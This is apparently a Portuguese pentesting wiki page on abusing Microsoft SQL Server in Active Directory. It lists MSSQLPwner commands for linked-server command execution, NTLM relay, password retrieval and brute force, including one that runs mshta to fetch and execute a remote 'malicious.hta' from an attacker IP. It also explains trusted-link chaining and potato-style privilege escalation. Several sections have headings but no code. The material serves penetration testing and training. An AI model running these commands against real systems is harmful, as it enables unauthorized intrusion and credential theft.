MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeração / Descoberta
Python
A ferramenta MSSQLPwner é baseada em impacket e também permite autenticar usando tickets kerberos e atacar através de cadeias de links.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Enumerando a partir da rede sem sessão de domínio
Enumerando de dentro do domínio
Abuso Básico do MSSQL
Acessar DB
MSSQL RCE
Pode também ser possível executar comandos dentro do host MSSQL
Verifique na página mencionada na seção seguinte como fazer isso manualmente.
Truques Básicos de Hacking MSSQL
1433 - Pentesting MSSQL - Microsoft SQL ServerLinks Confiáveis MSSQL
Se uma instância MSSQL é confiável (link de banco de dados) por uma instância MSSQL diferente. Se o usuário tiver privilégios sobre o banco de dados confiável, ele poderá usar o relacionamento de confiança para executar consultas também na outra instância. Essas confianças podem ser encadeadas e, em algum momento, o usuário pode ser capaz de encontrar algum banco de dados mal configurado onde pode executar comandos.
Os links entre bancos de dados funcionam mesmo através de confianças de floresta.
Abuso do Powershell
Metasploit
Você pode facilmente verificar links confiáveis usando metasploit.
Note que o metasploit tentará abusar apenas da função openquery()
no MSSQL (então, se você não conseguir executar comandos com openquery()
, precisará tentar o método EXECUTE
manualmente para executar comandos, veja mais abaixo.)
Manual - Openquery()
A partir do Linux, você pode obter um shell de console MSSQL com sqsh e mssqlclient.py.
A partir do Windows, você também pode encontrar os links e executar comandos manualmente usando um cliente MSSQL como HeidiSQL
Login usando autenticação do Windows:
Encontrar Links Confiáveis
Execute queries in trustable link
Execute consultas através do link (exemplo: encontre mais links na nova instância acessível):
Verifique onde aspas duplas e simples são usadas, é importante usá-las dessa forma.
Você pode continuar essa cadeia de links confiáveis para sempre manualmente.
Se você não consegue realizar ações como exec xp_cmdshell
a partir de openquery()
, tente com o método EXECUTE
.
Manual - EXECUTE
Você também pode abusar de links confiáveis usando EXECUTE
:
Escalação de Privilégios Local
O usuário local do MSSQL geralmente possui um tipo especial de privilégio chamado SeImpersonatePrivilege
. Isso permite que a conta "imite um cliente após a autenticação".
Uma estratégia que muitos autores desenvolveram é forçar um serviço do SYSTEM a se autenticar em um serviço malicioso ou man-in-the-middle que o atacante cria. Esse serviço malicioso pode então imitar o serviço do SYSTEM enquanto tenta se autenticar.
SweetPotato possui uma coleção dessas várias técnicas que podem ser executadas através do comando execute-assembly
do Beacon.
Last updated